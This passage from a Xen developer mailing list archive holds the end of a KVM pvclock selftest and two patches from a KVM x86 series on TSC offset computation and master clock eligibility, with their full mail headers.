+		vm_ioctl(vm, KVM_SET_CLOCK, &setclk);
+	}
+
+	/* Guest code does GUEST_SYNC then exits â€” run each to see update */
+	for (i = 0; i < 3; i++) {
+		vcpu_run(vcpus[order[i]]);
+		TEST_ASSERT_KVM_EXIT_REASON(vcpus[order[i]], KVM_EXIT_IO);
+	}
+
+	/* Re-read pvclocks */
+	for (i = 0; i < 3; i++)
+		__vcpu_ioctl(vcpus[order[i]], KVM_GET_CLOCK_GUEST, &pvti[order[i]]);
+
+	pr_info("After +1h: vCPU 0 system_time=%lu, vCPU 2 system_time=%lu\n",
+		(unsigned long)pvti[0].system_time,
+		(unsigned long)pvti[2].system_time);
+	TEST_ASSERT(pvti[0].system_time == pvti[2].system_time,
+		    "system_time should still match after KVM_SET_CLOCK");
+
+	host_tsc = rdtsc();
+	clk0 = pvclock_calc(&pvti[0], host_tsc + offset0);
+	clk2 = pvclock_calc(&pvti[2], host_tsc + offset0 + TSC_OFFSET);
+
+	pr_info("After +1h: kvmclock via vCPU 0: %lu ns\n", (unsigned long)clk0);
+	pr_info("After +1h: kvmclock via vCPU 2: %lu ns\n", (unsigned long)clk2);
+	TEST_ASSERT(clk0 == clk2,
+		    "After +1h: kvmclock should still match, diff=%ld ns",
+		    (long)(clk2 - clk0));
+
+	/* Verify the clock actually moved by ~1 hour */
+	TEST_ASSERT(clk0 > ONE_HOUR_NS,
+		    "Clock should be > 1 hour after set, got %lu ns",
+		    (unsigned long)clk0);
+
+	pr_info("PASSED: pvclock still consistent after KVM_SET_CLOCK +1h\n");
+	kvm_vm_free(vm);
+	return 0;
+}
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 21:24:01 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 21:24:01 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353913.1609716 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflMf-0000EB-4H; Fri, 03 Jul 2026 21:24:01 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353913.1609716; Fri, 03 Jul 2026 21:24:00 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflMe-0000Au-72; Fri, 03 Jul 2026 21:24:00 +0000
Received: by outflank-mailman (input) for mailman id 1353913;
 Fri, 03 Jul 2026 21:23:56 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 1wflMa-0007jg-H7
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 21:23:56 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wflMZ-000kw0-TV; Fri, 03 Jul 2026 23:23:55 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a48286a-2eae-0a2a0a5409dd-0a2a450c8f72-2
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:55 +0200
Received: from [90.155.92.199] (helo=desiato.infradead.org)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a48286b-f399-0a2a450c0019-5a9b5cc7a078-3
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:55 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by desiato.infradead.org with esmtpsa (Exim 4.99.2 #2 (Red Hat Linux))
 id 1wflKd-000000059O7-0xa8; Fri, 03 Jul 2026 21:23:38 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.2 #2 (Red
 Hat Linux)) id 1wflKW-00000001RP0-3AEv;
 Fri, 03 Jul 2026 22:21:48 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=desiato.20200630 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=desiato.20200630; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=shVwq4KBAoPWsH6/R3iiBMGtywtPoLEemfeJh0CtfZs=; b=SkZEUnibqnamMNvwwjyJzispV2
	1MAtJAGPw1iTZJIRDZxFsdCIlehr1AJH72HcFSyB3jKCKJfw0Fd90BGAlMMMQdhA236xcz+KnrZt5
	J6i/f9vm7aYd6lYLWiOLY+LqdIMG1Ummf9nhQjx/g01cPSSLh5/CKmfSk5kPOmdKGFOhCTL26KmEI
	ziGIU04PWq+VUBYLPAmIU9CwFFR6ay7jQAr64KUXu8sagOP2LGtLZxu7PLuu1f+oiXbDPU+92cEal
	OqD64ZglNnmvPA+hnXOyUgFGpeEPFJtjTQHmX1QHmakytiLhcqBRD3DUGTLbIfb+3qld2oG2YjZa1
	kKLVzvmg==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v6 18/36] KVM: x86: Remove implicit rdtsc() from kvm_compute_l1_tsc_offset()
Date: Fri,  3 Jul 2026 22:17:57 +0100
Message-ID: <20260703212145.343527-19-dwmw2@infradead.org>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260703212145.343527-1-dwmw2@infradead.org>
References: <20260703212145.343527-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by desiato.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-d25034/1783113835-0D526D51-A8B0B7BB/0/0
X-purgate-type: clean
X-purgate-size: 2890

From: David Woodhouse <dwmw@amazon.co.uk>

Let the callers pass the host TSC value in as an explicit parameter.
This leaves some fairly obviously stupid code, which is using this
function to compare the guest TSC at some *other* time, with the
newly-minted TSC value from rdtsc(). Unless it's being used to measure
*elapsed* time, that isn't very sensible.

In this case, "obviously stupid" is an improvement over being
non-obviously so.

No functional change intended.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Reviewed-by: Paul Durrant <paul@xen.org>
---
 arch/x86/kvm/x86.c | 14 ++++++++------
 1 file changed, 8 insertions(+), 6 deletions(-)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index 0087ddd08e83..0fa2050f4bd4 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -2693,11 +2693,12 @@ u64 kvm_scale_tsc(u64 tsc, u64 ratio)
 	return _tsc;
 }
 
-static u64 kvm_compute_l1_tsc_offset(struct kvm_vcpu *vcpu, u64 target_tsc)
+static u64 kvm_compute_l1_tsc_offset(struct kvm_vcpu *vcpu, u64 host_tsc,
+				     u64 target_tsc)
 {
 	u64 tsc;
 
-	tsc = kvm_scale_tsc(rdtsc(), vcpu->arch.l1_tsc_scaling_ratio);
+	tsc = kvm_scale_tsc(host_tsc, vcpu->arch.l1_tsc_scaling_ratio);
 
 	return target_tsc - tsc;
 }
@@ -2859,7 +2860,7 @@ static void kvm_synchronize_tsc(struct kvm_vcpu *vcpu, u64 *user_value)
 	bool synchronizing = false;
 
 	raw_spin_lock_irqsave(&kvm->arch.tsc_write_lock, flags);
-	offset = kvm_compute_l1_tsc_offset(vcpu, data);
+	offset = kvm_compute_l1_tsc_offset(vcpu, rdtsc(), data);
 	ns = get_kvmclock_base_ns();
 	elapsed = ns - kvm->arch.last_tsc_nsec;
 
@@ -2908,7 +2909,7 @@ static void kvm_synchronize_tsc(struct kvm_vcpu *vcpu, u64 *user_value)
 		} else {
 			u64 delta = nsec_to_cycles(vcpu, elapsed);
 			data += delta;
-			offset = kvm_compute_l1_tsc_offset(vcpu, data);
+			offset = kvm_compute_l1_tsc_offset(vcpu, rdtsc(), data);
 		}
 		matched = true;
 	}
@@ -4139,7 +4140,8 @@ int kvm_set_msr_common(struct kvm_vcpu *vcpu, struct msr_data *msr_info)
 		if (msr_info->host_initiated) {
 			kvm_synchronize_tsc(vcpu, &data);
 		} else if (!vcpu->arch.guest_tsc_protected) {
-			u64 adj = kvm_compute_l1_tsc_offset(vcpu, data) - vcpu->arch.l1_tsc_offset;
+			u64 adj = kvm_compute_l1_tsc_offset(vcpu, rdtsc(), data) -
+				  vcpu->arch.l1_tsc_offset;
 			adjust_tsc_offset_guest(vcpu, adj);
 			vcpu->arch.ia32_tsc_adjust_msr += adj;
 		}
@@ -5263,7 +5265,7 @@ void kvm_arch_vcpu_load(struct kvm_vcpu *vcpu, int cpu)
 			mark_tsc_unstable("KVM discovered backwards TSC");
 
 		if (kvm_check_tsc_unstable()) {
-			u64 offset = kvm_compute_l1_tsc_offset(vcpu,
+			u64 offset = kvm_compute_l1_tsc_offset(vcpu, rdtsc(),
 						vcpu->arch.last_guest_tsc);
 			kvm_vcpu_write_tsc_offset(vcpu, offset);
 			if (!vcpu->arch.guest_tsc_protected)
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 21:24:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 21:24:02 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353914.1609724 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflMg-0000XB-D0; Fri, 03 Jul 2026 21:24:02 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353914.1609724; Fri, 03 Jul 2026 21:24:02 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflMf-0000Q5-CR; Fri, 03 Jul 2026 21:24:01 +0000
Received: by outflank-mailman (input) for mailman id 1353914;
 Fri, 03 Jul 2026 21:23:57 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 1wflMa-0007jy-HN
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 21:23:56 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wflMZ-000kw0-U9; Fri, 03 Jul 2026 23:23:55 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a4827dc-2eae-0a2a0a5409dd-0a2a4509cd18-48
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:55 +0200
Received: from [90.155.92.199] (helo=desiato.infradead.org)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a48286b-97e6-0a2a45090019-5a9b5cc79a66-3
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:55 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by desiato.infradead.org with esmtpsa (Exim 4.99.2 #2 (Red Hat Linux))
 id 1wflKd-000000059O9-0xpH; Fri, 03 Jul 2026 21:23:38 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.2 #2 (Red
 Hat Linux)) id 1wflKX-00000001RPH-0GfY;
 Fri, 03 Jul 2026 22:21:49 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=desiato.20200630 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=desiato.20200630; h=Sender:Content-Transfer-Encoding:
	Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:
	From:Reply-To:Cc:Content-ID:Content-Description;
	bh=R3kolXIrB5v3kRPh3GGJc2upCU64dX2iOOV3hTZ0WFA=; b=EhYBXertXP5my1I9h4kbmXaNIu
	mnQI9h3PNrFrUq2Sp0GS+koN6FeHP7pXuM9lNKoJUfWQRMl+2GsyT2xxuCu2Lv8UecBHDmVRYOwHJ
	k5fDVDoCYaKlIgi0r3xyoTp3+mjuIVt1scTHSifB7mML8tKJWZL/ST5mZ4jBe6LgzbTcM+f7wY4nB
	S313GWO2jTa+j2fze8yAeMLDkAg6rsMu+k7lGr4284yb14qj98f9Tj5J3Lkx7EdZFjrddByve2YLp
	Gps6d02Cw5BQReD2TWZ0Bvd8I9bhzX3+lsqZcAU35+OtFaq9kj4c0fqgIKv4zHEv9edwvdqAhWX4z
	IQ7I+QVQ==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v6 22/36] KVM: x86: Allow KVM master clock mode when TSCs are offset from each other
Date: Fri,  3 Jul 2026 22:18:01 +0100
Message-ID: <20260703212145.343527-23-dwmw2@infradead.org>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260703212145.343527-1-dwmw2@infradead.org>
References: <20260703212145.343527-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by desiato.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-bad1c0/1783113835-45721986-A5634E7E/0/0
X-purgate-type: clean
X-purgate-size: 9939

From: David Woodhouse <dwmw@amazon.co.uk>

Previously, a guest writing different TSC values on different vCPUs could
force KVM out of master clock mode. With this change, only a frequency
mismatch disables master clock. The only ways for non-master-clock mode
to happen now are archaic hardware without a TSC-based clocksource, a
VMM that sets different TSC frequencies across vCPUs, or a guest using
the legacy MSR_KVM_SYSTEM_TIME (which could be addressed in future by
simply updating tsc_timestamp more frequently rather than falling out of
master clock mode entirely).

Running at a different frequency would lead to a systemic skew between
the clock(s) as observed by different vCPUs due to arithmetic precision
in the scaling. So that should indeed force the clock to be based on the
host's CLOCK_MONOTONIC_RAW instead of being in masterclock mode where it
is defined by the guest TSC.

But when the vCPUs merely have a different TSC *offset*, that's not a
problem. The offset is applied to that vCPU's kvmclock->tsc_timestamp
field, and it all comes out in the wash.

Track frequency matching separately from offset matching using a
dedicated freq generation counter (cur_tsc_freq_generation) that only
bumps on actual frequency changes. Each vCPU is counted exactly once per
freq generation via a per-vCPU this_tsc_freq_generation field, preventing
repeated syncs of the same vCPU from falsely re-enabling master clock.

Note that the generation-based counting has a known limitation: if all
vCPUs are in sync and one changes away and then back again, the other
vCPUs are still at the old generation and won't be counted until they
sync again (which may never happen). This was always the case for the
offset tracking and isn't expected VMM behaviour â€” although it is the
scenario that the VM-wide KVM_SET_TSC_KHZ ioctl was introduced to handle
cleanly.

While at it, restructure the existing TSC offset generation tracking to
use the same pattern: reset counter to zero on new generation, then
unconditionally count vCPUs that haven't been seen in this generation.
Both counters now use a consistent >= online_vcpus threshold (1-based
counting where the reference vCPU is included in the count).

Use frequency match for master clock eligibility, and full TSC match
(including offset) only for PVCLOCK_TSC_STABLE_BIT, which tells the
guest it is safe to skip cross-vCPU monotonicity enforcement.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
---
 arch/x86/include/asm/kvm_host.h |  4 ++
 arch/x86/kvm/x86.c              | 82 +++++++++++++++++++++++++--------
 2 files changed, 66 insertions(+), 20 deletions(-)

diff --git a/arch/x86/include/asm/kvm_host.h b/arch/x86/include/asm/kvm_host.h
index 51d8bcbc2d1d..da9141ea7d7b 100644
--- a/arch/x86/include/asm/kvm_host.h
+++ b/arch/x86/include/asm/kvm_host.h
@@ -970,6 +970,7 @@ struct kvm_vcpu_arch {
 	u64 this_tsc_nsec;
 	u64 this_tsc_write;
 	u64 this_tsc_generation;
+	u64 this_tsc_freq_generation;
 	bool tsc_catchup;
 	bool tsc_always_catchup;
 	s8 virtual_tsc_shift;
@@ -1493,6 +1494,9 @@ struct kvm_arch {
 	u64 cur_tsc_offset;
 	u64 cur_tsc_generation;
 	bool all_vcpus_matched_tsc;
+	bool all_vcpus_matched_freq;
+	int nr_vcpus_matched_freq;
+	u64 cur_tsc_freq_generation;
 	int nr_vcpus_matched_tsc;
 
 	u32 default_tsc_khz;
diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index 83c47fe5c9b8..3a651f5ce2d2 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -2640,30 +2640,55 @@ static inline bool gtod_is_based_on_tsc(int mode)
 }
 #endif
 
-static void kvm_track_tsc_matching(struct kvm_vcpu *vcpu, bool new_generation)
+static void kvm_track_tsc_matching(struct kvm_vcpu *vcpu, bool update_mclock)
 {
 #ifdef CONFIG_X86_64
 	struct kvm_arch *ka = &vcpu->kvm->arch;
 	struct pvclock_gtod_data *gtod = &pvclock_gtod_data;
+	bool prev_matched_tsc = ka->all_vcpus_matched_tsc;
 
 	/*
-	 * To use the masterclock, the host clocksource must be based on TSC
-	 * and all vCPUs must have matching TSCs.  Note, the count for matching
-	 * vCPUs doesn't include the reference vCPU, hence "+1".
+	 * Track whether all vCPUs have matching TSC offsets (for
+	 * PVCLOCK_TSC_STABLE_BIT) and matching frequencies (for
+	 * master clock eligibility).
+	 */
+
+	/*
+	 * A new vCPU might already have incremented ->online_vcpus
+	 * and cause a temporary false negative here. But will then
+	 * call kvm_synchronize_tsc() from kvm_arch_vcpu_postcreate()
+	 * and finish the job.
 	 */
-	ka->all_vcpus_matched_tsc = (ka->nr_vcpus_matched_tsc + 1 ==
-				     atomic_read(&vcpu->kvm->online_vcpus));
+	int online = atomic_read(&vcpu->kvm->online_vcpus);
+	ka->all_vcpus_matched_tsc = (ka->nr_vcpus_matched_tsc >= online);
+
+	update_mclock |= (prev_matched_tsc != ka->all_vcpus_matched_tsc);
 
-	bool use_master_clock = ka->all_vcpus_matched_tsc &&
+	/*
+	 * all_vcpus_matched_freq starts true and is cleared when
+	 * __kvm_synchronize_tsc() detects a frequency mismatch.
+	 * Re-enable when all vCPUs have synced with matching frequency.
+	 * If all offsets also match, that implies frequencies match too.
+	 */
+	if (ka->all_vcpus_matched_tsc ||
+	    ka->nr_vcpus_matched_freq >= online)
+		ka->all_vcpus_matched_freq = true;
+
+	/*
+	 * To use the masterclock, the host clocksource must be based on TSC
+	 * and all vCPUs must have matching TSC *frequency*. Different offsets
+	 * are fine â€” each vCPU's pvclock has its own tsc_timestamp that
+	 * accounts for its offset.
+	 */
+	bool use_master_clock = ka->all_vcpus_matched_freq &&
 				gtod_is_based_on_tsc(gtod->clock.vclock_mode);
 
 	/*
-	 * Request a masterclock update if the masterclock needs to be toggled
-	 * on/off, or when starting a new generation and the masterclock is
-	 * enabled (compute_guest_tsc() requires the masterclock snapshot to be
-	 * taken _after_ the new generation is created).
+	 * Request a masterclock update if needed: toggling master clock,
+	 * new generation requiring a fresh snapshot, or a change in
+	 * all_vcpus_matched_tsc (to broadcast PVCLOCK_TSC_STABLE_BIT).
 	 */
-	if ((ka->use_master_clock && new_generation) ||
+	if ((ka->use_master_clock && update_mclock) ||
 	    (ka->use_master_clock != use_master_clock))
 		kvm_make_request(KVM_REQ_MASTERCLOCK_UPDATE, vcpu);
 
@@ -2818,7 +2843,22 @@ static void __kvm_synchronize_tsc(struct kvm_vcpu *vcpu, u64 offset, u64 tsc,
 	 * Track the TSC frequency, scaling ratio, and offset for the current
 	 * generation. These are used to detect matching TSC writes and to
 	 * compute the guest TSC from the host clock.
+	 *
+	 * If the frequency changed, master clock mode can no longer be used
+	 * since the kvmclock scaling factors differ between vCPUs.
 	 */
+	if (vcpu->arch.virtual_tsc_khz != kvm->arch.cur_tsc_khz) {
+		kvm->arch.cur_tsc_freq_generation++;
+		kvm->arch.all_vcpus_matched_freq = false;
+		kvm->arch.nr_vcpus_matched_freq = 0;
+	}
+
+	/* Count each vCPU once per freq generation */
+	if (vcpu->arch.this_tsc_freq_generation != kvm->arch.cur_tsc_freq_generation) {
+		vcpu->arch.this_tsc_freq_generation = kvm->arch.cur_tsc_freq_generation;
+		kvm->arch.nr_vcpus_matched_freq++;
+	}
+
 	kvm->arch.cur_tsc_khz = vcpu->arch.virtual_tsc_khz;
 	kvm->arch.cur_tsc_scaling_ratio = vcpu->arch.l1_tsc_scaling_ratio;
 
@@ -2835,17 +2875,18 @@ static void __kvm_synchronize_tsc(struct kvm_vcpu *vcpu, u64 offset, u64 tsc,
 		 * exact software computation in compute_guest_tsc()
 		 */
 		kvm->arch.cur_tsc_generation++;
+		kvm->arch.all_vcpus_matched_tsc = false;
+		kvm->arch.nr_vcpus_matched_tsc = 0;
 		kvm->arch.cur_tsc_nsec = ns;
 		kvm->arch.cur_tsc_write = tsc;
 		kvm->arch.cur_tsc_offset = offset;
-		kvm->arch.nr_vcpus_matched_tsc = 0;
-		kvm->arch.all_vcpus_matched_tsc = false;
-	} else if (vcpu->arch.this_tsc_generation != kvm->arch.cur_tsc_generation) {
+	}
+
+	if (vcpu->arch.this_tsc_generation != kvm->arch.cur_tsc_generation) {
+		vcpu->arch.this_tsc_generation = kvm->arch.cur_tsc_generation;
 		kvm->arch.nr_vcpus_matched_tsc++;
 	}
 
-	/* Keep track of which generation this VCPU has synchronized to */
-	vcpu->arch.this_tsc_generation = kvm->arch.cur_tsc_generation;
 	vcpu->arch.this_tsc_nsec = kvm->arch.cur_tsc_nsec;
 	vcpu->arch.this_tsc_write = kvm->arch.cur_tsc_write;
 
@@ -3172,7 +3213,7 @@ static void pvclock_update_vm_gtod_copy(struct kvm *kvm)
 	bool host_tsc_clocksource, vcpus_matched;
 
 	lockdep_assert_held(&kvm->arch.tsc_write_lock);
-	vcpus_matched = ka->all_vcpus_matched_tsc;
+	vcpus_matched = ka->all_vcpus_matched_freq;
 
 	/*
 	 * If the host uses TSC clock, then passthrough TSC as stable
@@ -3503,7 +3544,7 @@ int kvm_guest_time_update(struct kvm_vcpu *v)
 
 	/* If the host uses TSC clocksource, then it is stable */
 	hv_clock.flags = 0;
-	if (use_master_clock)
+	if (use_master_clock && ka->all_vcpus_matched_tsc)
 		hv_clock.flags |= PVCLOCK_TSC_STABLE_BIT;
 
 	if (vcpu->pv_time.active) {
@@ -6334,7 +6375,7 @@ static int kvm_vcpu_ioctl_get_clock_guest(struct kvm_vcpu *v, void __user *argp)
 
 	hv_clock.tsc_shift = vcpu->pvclock_tsc_shift;
 	hv_clock.tsc_to_system_mul = vcpu->pvclock_tsc_mul;
-	hv_clock.flags = PVCLOCK_TSC_STABLE_BIT;
+	hv_clock.flags = ka->all_vcpus_matched_tsc ? PVCLOCK_TSC_STABLE_BIT : 0;
 
 	if (copy_to_user(argp, &hv_clock, sizeof(hv_clock)))
 		return -EFAULT;
@@ -13641,6 +13682,7 @@ int kvm_arch_init_vm(struct kvm *kvm, unsigned long type)
 	ratelimit_state_init(&kvm->arch.kvmclock_update_rs, HZ, 10);
 	ratelimit_set_flags(&kvm->arch.kvmclock_update_rs, RATELIMIT_MSG_ON_RELEASE);
 	kvm->arch.kvmclock_offset = -get_kvmclock_base_ns();
+	kvm->arch.all_vcpus_matched_freq = true;
 
 	raw_spin_lock_irqsave(&kvm->arch.tsc_write_lock, flags);
 	pvclock_update_vm_gtod_copy(kvm);
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 21:24:04 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 21:24:04 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353915.1609731 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflMi-0000rX-13; Fri, 03 Jul 2026 21:24:04 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353915.1609731; Fri, 03 Jul 2026 21:24:03 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflMg-0000mz-Ut; Fri, 03 Jul 2026 21:24:02 +0000
Received: by outflank-mailman (input) for mailman id 1353915;
 Fri, 03 Jul 2026 21:23:58 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 1wflMb-0007x2-Fl
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 21:23:57 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wflMa-00CejO-SH; Fri, 03 Jul 2026 23:23:56 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a482835-bab6-0a2a0a5309dd-0a2a45038b46-28
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:56 +0200
Received: from [90.155.92.199] (helo=desiato.infradead.org)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
